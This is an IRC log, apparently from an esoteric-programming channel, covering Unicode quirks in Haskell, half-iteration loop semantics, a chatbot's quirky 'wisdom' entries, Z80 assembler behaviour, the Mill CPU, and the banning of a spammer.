­ \ Category: Cf (Other, Format) \ Bidi: BN (Boundary Neutral) 07:01:48 Hm, that's interesting 07:02:24 According to Google Trends, Japan ranks at № 39 out of 42 countries in terms of popularity of tentacle erotica 07:02:28 Curiouser and curiouser 07:02:35 (that's the only non-control character in 128-255 range that's illegal in haskell strings) 07:03:05 (so i guess that's really 160-255 range) 07:04:12 hppavilion[1]: i guess to them it's so last century 07:04:23 oerjan: True 07:06:45 oerjan: OTOH, the five oldest companies on earth are all in Japan, the earliest of which dates back to 578 (but was absorbed in 2006, so maybe it doesn't count) 07:10:06 To be fair, SOFT HYPHEN is a pretty weird character. 07:10:08 how many of them are tentacle pornography companies 07:10:47 And my local terminal seems to be rendering it unconditionally. 07:11:02 Aaah. 07:11:27 -!- hppavilion[0] has joined. 07:11:40 The idea, in terminals, is it gets rendered whenever it's put in. It's just supposed to be a hyphen indicating the hyphen was automatically inserted. 07:12:10 (and hence can, semantically, be removed during copy/paste operations) 07:12:55 the next problem character that isn't completely stripped is \888 07:13:01 > var "\888" 07:13:02 ͸ 07:13:16 And that's... Not a syntax error? 07:13:43 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 07:13:44 why would it be? 07:13:59 unidecode > 07:13:59 ​[U+003E GREATER-THAN SIGN] 07:14:08 Because that's a malformed octal character literal? 07:14:09 it seems to be stripped anyhow 07:14:29 haskell character escapes are decimal 07:14:37 I've been doing more C lately. 07:14:43 Okay, that's just odd, then. 07:14:57 although there is a syntax for using octal 07:15:10 \0xxx? 07:15:11 > "\o100" 07:15:13 "@" 07:15:15 Ah. 07:15:18 It's been a while. 07:15:53 U+0378 (888 in hex) is an unassigned character currently. 07:16:36 It's in the Greek block, though. 07:17:05 oh! 07:17:17 > var "\856" 07:17:19 ͘ 07:17:23 hm nope 07:17:31 or wait 07:17:43 > var "\920" 07:17:45 Θ 07:17:51 > 920-888 07:17:53 -!- augur has quit (Remote host closed the connection). 07:17:53 32 07:17:57 ok not that one 07:18:34 -!- augur has joined. 07:19:06 (there's an empty space for "upper case version of end-of-word sigma", but that wasn't it. 07:19:09 ) 07:19:29 -!- hppavilion[1] has joined. 07:21:08 -!- hppavilion[0] has quit (Ping timeout: 240 seconds). 07:23:08 -!- augur has quit (Ping timeout: 255 seconds). 07:40:41 -!- sleffy has quit (Ping timeout: 240 seconds). 08:01:01 -!- augur has joined. 08:05:23 -!- augur has quit (Ping timeout: 260 seconds). 08:22:51 nodi 08:23:15 Is anyone interested in a language where constructs like "repeat (3.5) { stuff }" are valid? 08:23:55 -!- MoALTz has joined. 08:24:06 MoALTz, are you interested in a language where constructs like "repeat (3.5) { stuff }" are valid? 08:24:51 what does the 3.5 stand for? 3 times and then only half of the block of stuff? 08:25:02 not exactly 08:25:29 take "x := 1; repeat(3.5) { x := x * 2; }" 08:25:49 it's valid and outputs 11.3137084989848, which is 2^3.5. 08:27:19 it certainly sounds different :) although you'd need to figure out how the partial repeat applies to statements more complicated than x := x * 2; 08:28:31 ye 08:28:48 hm 08:31:43 -!- misterhitla has quit (Ping timeout: 240 seconds). 08:49:46 -!- hppavilion[1] has quit (Remote host closed the connection). 08:50:15 -!- hppavilion[1] has joined. 08:51:06 I have figured out printing mechanics for half-repeats. 08:51:22 It yields in gibberish, but still. 08:51:23 ohi hppavilion[1]. 08:51:39 rdococ: Hi 08:51:43 rdococ: I just finished some homework 08:51:47 I should sleep now 08:52:35 [wiki] [[Ð]] N https://esolangs.org/w/index.php?oldid=51797 * Rdococ * (+2082) Performing something half a time has a meaning now 08:53:15 rdococ: Oh, have you heard of Zeno Machines? 08:53:30 hppavilion[1]: I've actually created an esolang based on one. 08:53:35 It was bad, though. 08:53:40 rdococ: Col 08:53:42 *Cool 08:53:42 I prefer K's approach to real numbers. 08:54:35 [wiki] [[User:Rdococ]] https://esolangs.org/w/index.php?diff=51798&oldid=51786 * Rdococ * (+91) /* My hopefully better esoteric languages (2017 CE - infinity CE) */ Ð 08:55:50 rdococ: itym 12017 HE - ∞+10000 HE hth 08:56:43 [wiki] [[User:Rdococ]] https://esolangs.org/w/index.php?diff=51799&oldid=51798 * Rdococ * (+2) /* My hopefully better esoteric languages (2017 CE - infinity CE) */ Because I'm atheist 08:57:03 my hopefully better esoteric languages, 12017 HE - ∞+10000 HE. 08:57:41 of course, HE is based on the christian yearkeeping method, and the highly arbitrary number 10 for a base. 08:59:17 rdococ: K looks vernice 08:59:33 mornin' all 09:00:40 rdococ: Oh, also, "My terrible esoteric programming languages (12,999,999,999 BHE - 12017 HE)" 09:00:52 (this is the Holocene calendar if you aren't clear) 09:00:56 ik 09:01:17 [wiki] [[User:Rdococ]] https://esolangs.org/w/index.php?diff=51800&oldid=51799 * Rdococ * (+5) /* My terrible esoteric programming languages (13 billion BCE - 2017 CE) */ Again. 09:01:44 clearly we should be using the rdococ calendar 09:01:51 where this is the year 2981 09:02:48 I think we should base it on who are the consuls of Rome 09:03:11 that sounds ancient. 09:04:22 In the consulship of Sergio Mattarella and Paolo Gentiloni... 09:04:32 Again, sounds ancient. 09:04:41 (using Italy's President and Prime Minister because consuls haven't been a thing for like 1500 years or so) 09:05:12 Depends if they're leap years :P 09:05:12 jk 09:05:22 [wiki] [[Zeno]] M https://esolangs.org/w/index.php?diff=51801&oldid=51334 * Hppavilion1 * (+216) Added a conclusion section (if rdococ approves) 09:05:50 hppavilion[1], what about my Zeno interpreter? 09:06:02 rdococ: Yes. 09:06:19 it's written in powerpoint 09:06:20 :P 09:18:34 rdococ: BTW, have you made any time travelley languages yet? 09:18:47 (particularly any with 2-time?) 09:19:48 well, TwoDucks already exists... 09:20:32 rdococ: True? 09:20:39 ? 09:20:40 I did have the idea of a decentralized computational system in the multiverse which would enable for super-TC computations because of the presumably infinite number of universes 09:21:15 depends if the number of universes is countable or uncountable 09:23:15 rdococ: Today I proved that any tree with countably many generations where each node must have countably many children has countably many nodes altogether 09:23:22 (I think) 09:23:36 And by extension, the number of finite sequences of natural numbers is countable 09:24:07 * rdococ is pretty sure he already knew 09:24:52 in fact, it was an important part of my STC computational class function 09:25:30 -!- pikhq has quit (Ping timeout: 240 seconds). 09:27:44 it proved that a "data tree" with a countably infinite number of nodes is at least as powerful as a countably infinite state machine 09:28:02 wait 09:28:03 hold on 09:28:42 nvm 09:38:14 -!- oerjan has quit (Quit: Nite). 09:43:02 -!- pikhq has joined. 09:49:13 -!- AnotherTest has joined. 09:54:20 -!- hkgit03 has joined. 10:02:40 -!- LKoen has joined. 10:18:32 -!- augur has joined. 10:22:58 -!- augur has quit (Ping timeout: 258 seconds). 10:27:43 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 10:29:38 -!- Simm has quit (Quit: Why is the alphabet in that order? Is it because of that song?). 10:44:05 -!- Phantom_Hoover has joined. 10:44:05 -!- Phantom_Hoover has quit (Changing host). 10:44:05 -!- Phantom_Hoover has joined. 11:16:47 -!- clog has quit (Ping timeout: 260 seconds). 11:16:54 -!- clog has joined. 11:26:42 ? wo 11:26:44 wo? ¯\(°​_o)/¯ 11:27:17 le//rn wo//wo is the rarely seen word which "won't" is the opposite of. 11:27:21 Learned 'wo': wo is the rarely seen word which "won't" is the opposite of. 11:37:14 I won't accept that. 11:39:37 -!- boily has joined. 11:45:57 -!- LKoen has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”). 11:46:23 wisdom 11:46:25 hipchat//hipchat is a chat where you can communicate solely by using meme-emoticons but shouldn't. 11:49:29 wisdom 11:49:30 relevant info//The large-eyed mouse lemur is a nocturnal tree-dweller. 12:04:57 wisdom 12:04:58 cube//Cubes come in all sizes, colors, and materials, but only one shape. The companion cube does not speak, however. 12:05:04 ? wo 12:05:05 wo is the rarely seen word which "won't" is the opposite of. 12:05:09 ? wan 12:05:10 Wan is the opposite of wan't. 12:05:20 ? can 12:05:21 Can cans can cans? 12:05:29 ? match 12:05:30 match? ¯\(°​_o)/¯ 12:06:02 le//rn match//Can a match box? No, but a tin can. 12:06:05 Learned 'match': Can a match box? No, but a tin can. 12:06:41 forget wan 12:06:43 Forget what? 12:19:10 -!- augur has joined. 12:23:03 ???? 12:23:09 ? wa 12:23:10 wa? ¯\(°​_o)/¯ 12:23:13 boily: can can't 12:23:34 ? ca 12:23:35 ca? ¯\(°​_o)/¯ 12:23:44 So ca and can should be the same 12:23:52 -!- augur has quit (Ping timeout: 260 seconds). 12:23:58 le//rn ca//ca is another word for can. 12:23:59 I could, but I won't. I can't want, and it is so. 12:24:00 Learned 'ca': ca is another word for can. 12:24:03 revert 12:24:07 Done. 12:24:11 ? cola 12:24:12 cola? ¯\(°​_o)/¯ 12:24:36 reminder: don't wisdom when boily's around 12:24:41 otherwise, bam entry removed 12:24:55 wisdom right, and it'll. 12:24:55 boily must prefer the lack of wisdom; stupidity 12:25:06 ? wisdom 12:25:07 wisdom is always factually accurate, except for this entry, and, uh, that other one? It started with, like, an ø? 12:25:16 ? ørjan 12:25:17 Your pal Ørjan is oerjan's good twin. He's banned in the IRC RFC for being an invalid character. Sometimes he publishes papers without noticing it. 12:25:31 ? øerjan 12:25:32 ​øerjan? ¯\(°​_o)/¯ 12:25:36 That was even in the wisdomme compilation iirc 12:25:46 ? wisdomme 12:25:47 wisdomme? ¯\(°​_o)/¯ 12:26:05 rdococ: the PDF, in the topic. I'm the one who compiles it. 12:26:12 You are? 12:26:21 Nice to meet you. Great work. I'm a big fan. 12:26:27 doesn't the PDF basically have ALL the wisdoms? 12:26:38 with maybe very few exceptions 12:26:48 and some are reformatted to barely recognizable 12:26:54 le//rn wisdomme/wisdomme is the PDF in the topic. boily is the one who compiles it. 12:26:55 Usage: le/[/]rn // 12:27:04 le//rn wisdomme//wisdomme is the PDF in the topic. boily is the one who compiles it. 12:27:06 Learned 'wisdomme': wisdomme is the PDF in the topic. boily is the one who compiles it. 12:27:11 ? phở 12:27:12 Phở là một món ăn truyền thống của Việt Nam, cũng có thể xem là một trong những món ăn đặc trưng nhất cho ẩm thực Việt Nam. 12:27:19 Wow. that is very informative. 12:27:20 that won't do. the topic can change. put the url straight in the wisdom 12:27:21 tomfoolery phở 12:27:22 I must confess, I know not of what you are speaking. 12:27:44 https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf tells me "Sorry, that file doesn’t live here anymore. It might have been moved or made private." 12:27:50 le//rn wisdomme//wisdomme is a PDF that may be in the topic. boily is the one who compiles it. 12:27:51 very wise words, I guess? 12:27:53 Relearned 'wisdomme': wisdomme is a PDF that may be in the topic. boily is the one who compiles it. 12:28:36 also 12:28:38 ? wisdom.pdf 12:28:40 Nicely formatted wisdoms and quotes book at https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf 12:29:15 again, dropbox 404 12:29:20 oh 12:29:20 beuh. 12:29:35 will update the link soon là là. 12:29:37 le//rn wisdomme//wisdomme is a PDF that may be in the topic. boily is the one who compiles it. See ? wisdom.pdf 12:29:40 Relearned 'wisdomme': wisdomme is a PDF that may be in the topic. boily is the one who compiles it. See ? wisdom.pdf 12:29:51 -!- boily has quit (Quit: MOUNTAIN CHICKEN). 12:31:30 -!- augur has joined. 12:36:07 -!- augur has quit (Ping timeout: 260 seconds). 12:47:45 -!- ais523 has joined. 13:00:09 btw 13:37:30 yay 13:38:18 btw what? 13:38:38 nvm 13:38:52 aww 13:39:46 yay 13:42:27 kay... 14:00:22 -!- moony has joined. 14:02:46 -!- ais523 has quit (Ping timeout: 260 seconds). 14:49:56 -!- ^_^v has joined. 14:54:17 -!- bender has joined. 14:59:51 -!- AnotherTest has quit (Ping timeout: 268 seconds). 15:14:49 -!- Zarutian has joined. 15:17:01 -!- hkgit03 has quit (Quit: http://www.kiwiirc.com/ - A hand crafted IRC client). 15:48:56 -!- augur has joined. 15:59:15 -!- LKoen has joined. 15:59:30 -!- AnotherTest has joined. 16:06:27 -!- AnotherTest has quit (Ping timeout: 268 seconds). 16:14:35 -!- ais523 has joined. 16:25:59 -!- S1 has joined. 16:52:30 -!- AnotherTest has joined. 17:18:01 -!- sleffy has joined. 18:04:19 <\oren\> OOOH DRAMAAAAAAAA 18:04:24 <\oren\> https://www.youtube.com/watch?v=L-5EIsP10nw 18:06:37 <\oren\> One of the most popular kerbal space program youtubers CHEATED 18:06:48 -!- sleffy has quit (Ping timeout: 258 seconds). 18:07:31 \oren\: what? isn't that a single-player game? 18:09:30 \oren\: ... 18:09:36 <\oren\> b_jonas: right but he posted a video saying "here's a cool craft I built" without disclosing that he actually used cheats 18:10:20 well clearly this will doom the game and its community 18:11:19 in fact, we should just wipe all copies of KSP from computers world wide and forget it ever existed. it's the only reasonable way forward. 18:17:05 <\oren\> well fuck it maybe I'll make a really cool video and cheat in a less discoverable manner 18:17:34 <\oren\> such as wings with fucked up lift/drag ratios 18:21:32 -!- DHeadshot has joined. 18:29:22 -!- LKoen has quit (Remote host closed the connection). 18:31:47 \oren\, here's an idea 18:32:02 You make your cheats so undiscoverable that not even you are sure whether you've cheated or not 18:32:30 Taneb: yes, that sometimes happens with eso stuff 18:33:27 -!- Zarutian has quit (Quit: Zarutian). 18:33:42 Speaking of eso stuff, I have a quantum information processing exam tomorrow morning 18:38:09 -!- hppavilion[1] has joined. 18:46:42 hehe 18:47:28 -!- augur has quit (Remote host closed the connection). 19:04:00 -!- Zarutian has joined. 19:07:13 <\oren\> Flugbeschränkungen über der Kölner Innenstadt 19:07:18 <\oren\> No fly zone imposed over Cologne city because of expected battle between fascists and communists 19:08:38 \oren\: isn't it because of bad weather? 19:08:50 <\oren\> Alternatif fur duetchland is having a congress in cologne and the communists are going to try to block them 19:13:51 It's difficult trying to do this kind of maths when you have no idea what the correct answer ought to look like 19:15:56 . o O ( Taneb: do you want the answer as an particle or as a wave... ) 19:16:26 int-e, I'd like it as an enlarged density matrix, I think 19:17:04 let's start small, how about [1] 19:17:34 somehow I haven't done a QC course. 19:29:26 -!- hppavilion[1] has quit (Ping timeout: 255 seconds). 20:02:45 -!- hppavilion[1] has joined. 20:10:59 -!- LKoen has joined. 20:15:55 -!- LKoen has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”). 20:27:42 -!- ^_^v has quit (Quit: Leaving). 20:27:59 -!- ^_^v has joined. 20:28:24 -!- erkin has joined. 21:06:13 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 21:18:44 -!- S1 has quit (Quit: Leaving). 21:32:16 -!- hppavilion[1] has joined. 21:48:34 -!- moony has quit (Remote host closed the connection). 21:50:50 [wiki] [[Talk:K]] N https://esolangs.org/w/index.php?oldid=51802 * Hppavilion1 * (+284) Coolang. 21:57:57 -!- bender has quit (Ping timeout: 258 seconds). 21:58:46 -!- sebbu2 has changed nick to sebbu. 22:03:55 -!- MoALTz has quit (Quit: Leaving). 22:06:47 -!- hppavilion[1] has quit (Ping timeout: 260 seconds). 22:29:22 -!- ^_^v has quit (Quit: This computer has gone to sleep). 22:57:56 [wiki] [[String]] https://esolangs.org/w/index.php?diff=51803&oldid=44860 * Hppavilion1 * (+588) Improved a bit 23:06:17 -!- MDude has quit (Remote host closed the connection). 23:24:12 -!- AnotherTest has quit (Ping timeout: 260 seconds). 23:25:29 -!- sleffy has joined. 23:36:49 -!- boily has joined. 23:40:17 wisdom 23:40:18 alogl//ALOGL is a logarithmic language. 23:45:36 wisdom 23:45:37 reference//reference is dangling, sorry. 23:45:49 cwlprits alogl 23:45:51 oerjan? 23:46:00 shachäf 23:46:04 what! 23:46:11 now i'm embarrassed 23:46:12 tdnh 23:46:33 It's a cheap plastic imitation of oerjan. 23:51:25 -!- hppavilion[1] has joined. 23:51:32 -!- AnotherTest has joined. 23:52:06 [wiki] [[Call stack]] M https://esolangs.org/w/index.php?diff=51804&oldid=46437 * Hppavilion1 * (+35) Proper zedly spelling, some phrasing. 23:55:34 QUINTHELLOPIA, helloochaf. 23:55:43 -!- AnotherTest has quit (Ping timeout: 240 seconds). 23:57:11 [wiki] [[Control Flow]] https://esolangs.org/w/index.php?diff=51805&oldid=46147 * Hppavilion1 * (+127) /* Computed Goto */ I assume I wrote this; I learned about function pointers later, so it was wrong. So wrong. 23:58:05 <\oren\> widsom 23:58:06 wanring//Wanrings inidcate whne you are donig soemthing dagnerous, liek usnig opreator prceedence. 23:58:08 <\oren\> widsom 23:58:09 pepole who taenb is no/t/elilott, a rabbi, Makr Zukcerberg, Jaems Bodn. Pedning aprpoval: Shgieru Miaymoto. 23:58:11 <\oren\> widsom 23:58:13 td/t/Thta dosen't td.t 23:58:19 <\oren\> widsom 23:58:20 kitt//Kitt is the signular of kitten. 23:58:24 <\oren\> widsom 23:58:26 fasle//fasle is a veyr old stcak-baesd lagnuage. For an auhtentic exeprience, run it on an Amgia. Its' alos not treu. 2017-04-21: 00:00:49 eh\\rone\. 00:03:22 COILY 00:04:07 WHAT UP 00:08:30 -!- DHeadshot has quit (Ping timeout: 240 seconds). 00:11:16 AM ZOMBIE. LONG DAY. HOW'S LIFE? 00:12:53 -!- sleffy has quit (Ping timeout: 252 seconds). 00:13:49 so chill these days 00:14:13 -!- oerjan has joined. 00:14:19 w 00:14:20 icbm//ICBMs are Crumbling Building Missiles. The I is currently classified. 00:14:42 w 00:14:43 inverness//Inverness is a city in Scotland. The ring road isn't multiplicative. 00:15:03 iceland's ring road is 00:16:39 -!- sleffy has joined. 00:21:22 -!- bender has joined. 00:34:29 -!- augur has joined. 00:55:12 -!- Zarutian has quit (Quit: Zarutian). 01:11:02 -!- chatter29 has joined. 01:11:21 hey guys 01:11:23 allah is doing 01:11:28 sun is not doing allah is doing 01:11:29 oerjan is doing 01:11:30 to accept Islam say that i bear witness that there is no deity worthy of worship except Allah and Muhammad peace be upon him is his slave and messenger 01:11:34 sun is not doing oerjan is doing 01:11:38 -!- ChanServ has set channel mode: +o oerjan. 01:11:39 -!- chatter29 has quit (Client Quit). 01:11:50 -!- oerjan has set channel mode: -o oerjan. 01:11:59 i bear witness that there is no op worthy of worship except oerjan -- oh 01:12:54 oerjan: have you considered +b chatter*!*@* hth 01:13:01 -!- ChanServ has set channel mode: +o oerjan. 01:14:10 -!- oerjan has set channel mode: +i. 01:14:10 -!- oerjan has set channel mode: +s. 01:14:10 -!- oerjan has set channel mode: +t. 01:14:13 argh 01:14:25 -!- oerjan has set channel mode: -i. 01:14:25 -!- oerjan has set channel mode: -s. 01:14:25 -!- oerjan has set channel mode: -t. 01:14:42 +olist 01:14:44 what were you trying to do? 01:14:57 Oh, I guess ais523 is doing too. 01:15:01 ais523: add a ban reason 01:15:15 I'm not sure if there is a ban reason field 01:15:16 ("oerjan is not banning", naturally) 01:15:20 you can set up a redirect as part of a ban 01:15:31 Only to a channel that exists. 01:15:32 ais523: i vaguely thought  without # after did that 01:15:46 that bot's been attacking hugely many channels 01:15:51 so normally Freenode tends to deal with it 01:15:51 but alas, it wants a real channel 01:15:59 -!- oerjan has set channel mode: -o oerjan. 01:16:03 you also have to have ops in the target channel 01:16:26 ais523: People in some channel (#freenode?) said it wasn't a bot. 01:16:34 Though I don't remember their evidence for it. 01:16:40 just a really dedicated human then? 01:16:46 oh hm i never got it banned 01:16:46 Oh well, so much for banning Lady Chatterley. 01:16:54 -!- ChanServ has set channel mode: +o oerjan. 01:17:03 -!- oerjan has set channel mode: +b chatter*!*@*. 01:17:08 -!- oerjan has set channel mode: -o oerjan. 01:17:20 There we go. 01:17:27 No obscenity in this channel. 01:17:30 the lack of ban reasons is really annoying, we have a huge ban list and i don't remember who half of them are 01:17:44 (also, the fact that the dates keep getting reset on them) 01:18:18 search logs for the last messages by people who match the bans? 01:18:21 that'd probably explain why they were banned 01:19:51 why was the hagbard banned again? 01:20:13 ais523: i'm not logging this channel. 01:20:23 and the tunes logs are not googleable. 01:20:30 You don't download the logs? 01:20:36 no. 01:20:39 imo download the logs 01:20:40 ah, I vaguely assumed you had a local copy of the logs 01:20:43 I do of the older ones 01:20:47 haven't updated it in a while, though 01:20:51 My computer is gone. :-( 01:21:06 Fortunately I didn't store IRC logs on it. 01:21:25 Just a bunch of personal information and things. 01:21:47 boily: i think hagb4rd originally got banned for being obscene, or something. but then he kept evading bans forever, so now that's what he's banned for. 01:22:23 R v. hagb4rd 01:22:30 rex oerjan 01:23:14 also, hoily. 01:23:31 5 w 01:23:37 1/2:einstein//einstein is a germaneau for "a stone" \ source//Sources for HackEgo can be found at https://bitbucket.org/GregorR/hackbot + https://bitbucket.org/GregorR/multibot + https://bitbucket.org/GregorR/umlbox \ cigar//A cigar is either a penis or just a cigar, dependent on Freud's current mood. \ wat//á¢áµá®áµá« ááµá¥ á¨á 01:23:41 mkx bin/5w//5 w 01:23:43 bin/5w 01:23:44 n 01:23:45 2/2:á°á« á¨ááá¥ á á­ááµ á²ááá£ á¨áá°á«áá á¨á¤á ááá¢ \ zzo38//zzo38 is not actually the next version of fungot, much as it may seem. 01:23:54 ? germaneau 01:23:55 germaneau? ¯\(°​_o)/¯ 01:23:59 cwlprits einstein 01:24:08 hppavilion[1̈] 01:24:28 dowg einstein 01:24:38 8242:2016-05-31 learn einstein is a germaneau for "a stone" 01:24:54 420 einstein everyday 01:26:17 420 is over in this timezone 01:26:59 -!- MDude has joined. 01:28:28 boily: 80 fumer de la ganja tous les jours 01:31:51 -!- augur has quit (Read error: Connection reset by peer). 01:32:27 -!- augur has joined. 02:01:15 <\oren\> this is the culmination of human achievement 02:01:18 <\oren\> https://www.youtube.com/watch?v=jcXsLaYzATM 02:01:44 <\oren\> w pipe 02:01:46 pipe//This is not a pipe. 02:01:55 <\oren\> w | 02:01:56 That's not wise. 02:02:14 cat bin/w 02:02:14 wisdom "@" 02:02:15 <\oren\>  wisdom \| 02:02:16 That's not wise. 02:02:19 cat bin/wisdom 02:02:20 f=(find wisdom -ipath "wisdom/*1*" -type f -print0 | shuf --random-source=/dev/urandom -z -n1); if [ -n "f" ]; then echo -n "{f#wisdom/}//"; cat "f"; else echo "That's not wise."; fi | rnooodl 02:02:27 doag bin/w 02:02:35 9978:2016-12-15 mkx bin/w//wisdom "@" \ 9977:2016-12-15 rm bin/w \ 9973:2016-12-15 revert \ 9972:2016-12-15 rm bin/w \ 9965:2016-12-15  ln -s wisdom bin/w 02:04:19 -!- Phantom_Hoover has quit (Ping timeout: 260 seconds). 02:05:19 hellørjan tdh. 02:05:25 shachaf: oui, mais pourquoi 80? 02:05:36 ah. oui. 4 20. 02:05:41 * boily facepalms 02:05:46 World's most user-friendly Z80 assembler: silently turns "and a, 123" into "and a". 02:06:38 fizzie: does z80's and only take one argument, or something? 02:06:58 Yeah. 02:07:37 hmm, normally I'd assume that the other arg is an accumulator in that acse 02:07:40 Unlike some other things like 'add', the 'and' opcode is only capable on targeting the A register, so the syntax is just "and " or "and ". 02:07:46 but if the accumulator isn't called a, what it is it called? 02:07:48 oh, I see 02:07:59 what you meant to write was "and 123", but "and a" is legal-but-useless 02:08:05 Yes. Well, mostly useless. 02:08:11 sets flags? 02:08:16 Right. 02:08:32 There's no x86-esque "test" that would *only* set flags. 02:08:33 you should switch to the mill instead hth 02:08:48 Do you like the Mill CPU? 02:09:11 Anyway, for most other syntactical errors z80asm does say things like "junk at the end of line", but for this particular one it just silently ignores the second operand. 02:09:16 learning about the Mill gave me an inexplicable urge to invent something with the same goals but differing in the details, and better 02:09:25 but I didn't get very far on that 02:09:29 it did inspire a golflang idea though 02:09:49 . o O ( must...learn...not to click...on \oren\'s links ) 02:10:26 well, my current browser setup has links on IRC open in the browser which has youtube blocked 02:10:46 (I have a second browser which doesn't have youtube blocked, in case I want to look at a video intentionally) 02:10:51 ais523: To add insult to injury, the same assembler also treats "sub a, 123" as "sub 123" instead. 02:11:03 this may go some way to explaining why I've never been rickrolled 02:11:08 <\oren\> oerjan: hahahahahahahahahahaahahahahahahahahahahahaahahaha 02:11:13 and in fact have only gathered some facts about the rickroll indirectly 02:11:23 ('sub' instruction is in the same boat as 'and'; 'add', 'adc' and 'sbc' are the only ones that need two operands.) 02:11:27 doag bin/w <-- it was put there to make 5 w simply 02:11:38 oerjan: But why not ln -s? 02:11:41 <\oren\> ais523: in this case is was a video with Kizuna Ai 02:12:16 ais523: You should start a competing startup. 02:13:03 nah, I already have way too much work on my hands, and I have a suspicion that I can't do better than the Mill by myself and couldn't do significantly better even with a whole company behind me 02:13:16 You should join the Mill project. 02:15:13 isn't it proprietary? I have enough to do as it is 02:15:29 and helping out a proprietary project without being paid to do so doesn't seem like a good use of my time 02:15:37 shachaf: because ln -s sometimes breaks in HackEgo, so i avoid it in bin/ where it's never really needed 02:15:44 <\oren\> https://www.youtube.com/watch?v=P9EqgXBbMAc 02:16:00 but you can get equity!! 02:16:38 kmc: you should watch some of the mill videos with all your spare time, they're great 02:16:55 shachaf: whether or not mill succeeds will almost certainly depend on factors other than its actual technical merit 02:17:04 Of course. 02:17:15 you need to be something like 10× better than a competitor to beat them on technical merit alone 02:17:21 shachaf: link? 02:17:31 http://millcomputing.com/technology/docs/ 02:17:33 ok 02:17:41 any particular ones? 02:18:20 Hmm, I think the order they're listed in is pretty good. 02:18:26 I don't remember the details of where everything is discussed. 02:18:45 <\oren\> お～勝ちました！ 02:19:51 \oren\: どうして？ 02:31:27 -!- boily has quit (Quit: PHYLOGENETIC CHICKEN). 02:49:34 -!- ais523 has quit. 03:15:43 -!- sleffy has quit (Ping timeout: 258 seconds). 03:16:10 [wiki] [[User:Serprex]] M https://esolangs.org/w/index.php?diff=51806&oldid=51782 * Serprex * (+144) codewars: boolfuck in go (my-first-go) 03:39:11 -!- sleffy has joined. 03:49:14 -!- contrapumpkin has joined. 03:49:23 -!- hppavilion[1] has quit (Ping timeout: 255 seconds). 04:09:41 -!- sirnaysayer has quit (Quit: zonkzonk). 04:15:18 -!- sirnaysayer has joined. 04:27:19 -!- Sgeo has joined. 04:28:00 -!- Sgeo__ has quit (Ping timeout: 240 seconds). 04:30:09 -!- sleffy has quit (Ping timeout: 268 seconds). 04:32:49 -!- sleffy has joined. 05:09:33 hollr 05:43:13 actually, you can never beat an established architecture on technical merit alone 05:43:50 but risc-v also has some corporate backing, it seems 05:47:28 it also seems like a more boring design than the mill, which might have something to do with that 05:48:48 -!- contrapumpkin has quit (Quit: My MacBook Pro has gone to sleep. ZZZzzz…). 05:55:26 hmm, the mill website has also been rewritten to be much more investor-friendly 06:04:09 -!- hppavilion[1] has joined. 06:10:12 -!- bender has quit (Ping timeout: 260 seconds). 06:28:51 https://twitter.com/newshtwit/status/855292157686501377 06:30:02 hmm, you can write an interpreter for that just by launching android studio and feeding it keypresses 06:30:38 and doing "Build and Run" when you reach the end of the file 06:51:01 [wiki] [[User:Challenger5]] https://esolangs.org/w/index.php?diff=51807&oldid=51379 * Challenger5 * (+13) 06:58:52 olsner: yah, thats more or less what i meant. 06:59:12 although perhaps renaming key shortcuts with cmd names would make it more readable 06:59:15 -!- hppavilion[1] has quit (Ping timeout: 260 seconds). 07:00:37 -!- sleffy has quit (Ping timeout: 268 seconds). 07:04:25 -!- sleffy has joined. 07:18:06 the cake isn't a lie 07:18:08 the cake is a TEST 07:57:15 -!- augur has quit (Remote host closed the connection). 07:57:29 -!- augur has joined. 07:57:34 -!- augur has quit (Remote host closed the connection). 08:17:05 -!- sleffy has quit (Ping timeout: 260 seconds). 08:20:48 -!- MoALTz has joined. 09:00:18 -!- augur has joined. 09:00:25 -!- augur has quit (Remote host closed the connection). 09:00:37 -!- augur has joined. 09:05:57 -!- augur has quit (Remote host closed the connection). 09:44:46 -!- erkin has quit (Quit: Ouch! Got SIGABRT, dying...). 09:47:33 -!- AnotherTest has joined. 09:49:10 -!- ski has quit (Ping timeout: 240 seconds). 09:52:13 -!- ski has joined. 09:55:00 -!- oerjan has quit (Quit: Nite). 10:56:59 -!- AnotherTest has quit (Ping timeout: 240 seconds). 10:58:48 -!- g0d355__ has joined. 11:22:19 -!- LKoen has joined. 11:25:57 -!- bender has joined. 11:35:35 -!- boily has joined. 11:35:44 wisdom 11:35:45 indentity function//Indentity function is the function that measures how indented source code is. 11:48:18 -!- hkgit03 has joined. 11:59:58 [wiki] [[K]] https://esolangs.org/w/index.php?diff=51808&oldid=51781 * B jonas * (+125) 12:10:07 ? b_jonas 12:10:08 b_jonas egy nagyon titokzatos személy. Hollétéről egyelőre nem ismertek. 12:10:23 cwlprits b_jonas 12:10:31 oerjän boil̈y 12:10:48 b_jonas: b_jellonas. I hope it's valid Hungarian, eh? 12:20:43 -!- AnotherTest has joined. 12:22:23 boily: no. but it's funny because it almost is. 12:26:19 ^^ 12:29:35 -!- boily has quit (Quit: BERTH CHICKEN). 12:30:47 Égi madár is about the extent of my Hungarian vocabulary 12:33:54 -!- LKoen has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”). 13:01:32 so... the single object in the monoid that a monad is... is that the type with the bind function being the arrows to itself? 13:07:26 -!- AnotherTest has quit (Ping timeout: 260 seconds). 13:21:36 hi 13:21:46 ? function 13:21:47 function? ¯\(°​_o)/¯ 13:24:03 [wiki] [[Ð]] https://esolangs.org/w/index.php?diff=51809&oldid=51797 * Rdococ * (+0) /* Overview */ fixed multiplication function 13:36:11 ? ¯\(°​_o)/¯ 13:36:12 ​¯\(°​_o)/¯ is a misspelling of ¯\(°_o)/¯ 13:38:42 -!- int-e has set topic: Motivation: N/A | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf | For extensive phở testing, use #esoteric-blah. 13:53:54 -!- moony has joined. 14:01:01 -!- bender has quit (Ping timeout: 240 seconds). 14:05:30 Random story that's worth to read about software reverse-engineering: http://www.muppetlabs.com/~breadbox/txt/acre.html 14:25:06 Damn, that's long :/ 